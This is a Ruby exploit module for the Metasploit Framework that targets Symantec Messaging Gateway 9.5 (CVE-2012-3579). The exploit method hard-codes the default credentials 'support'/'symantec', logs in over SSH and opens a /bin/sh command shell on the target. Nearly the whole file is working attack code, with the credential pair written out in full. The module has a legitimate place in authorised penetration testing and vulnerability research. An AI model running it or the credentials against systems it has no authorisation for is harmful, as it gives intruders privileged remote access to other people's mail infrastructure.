##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::CommandShell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",
      'Description'    => %q{
        This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.
        The 'support' user has a known default password, which can be used to login to the
        SSH service, and gain privileged access from remote.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stefan Viehbock',  #Original discovery
          'Ben Williams',     #Reporting the vuln + coordinated release
          'sinn3r'            #Metasploit
        ],
      'References'     =>
        [
          ['CVE',   '2012-3579'],
          ['OSVDB', '85028'],
          ['BID',   '55143'],
          ['URL',   'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
          ['URL',   'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']
        ],
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Symantec Messaging Gateway 9.5', {}],
        ],
      'Privileged'     => true,
      #Timestamp on Symantec advisory
      #But was found on Jun 26, 2012
      'DisclosureDate' => "Aug 27 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end


  def rhost
    datastore['RHOST']
  end


  def rport
    datastore['RPORT']
  end


  def do_login(user, pass)
    opts = {
      :auth_methods => ['password', 'keyboard-interactive'],
      :msframework  => framework,
      :msfmodule    => self,
      :port         => rport,
      :disable_agent => true,
      :config => false,
      :password => pass,
      :record_auth_info => true,
      :proxies => datastore['Proxies']
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError, Rex::AddressInUse
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
      ssh = nil
      return conn
    end

    return nil
  end


  def exploit
    user = 'support'
    pass = 'symantec'

    print_status("#{rhost}:#{rport} - Attempt to login...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
      handler(conn.lsock)
    end
  end
end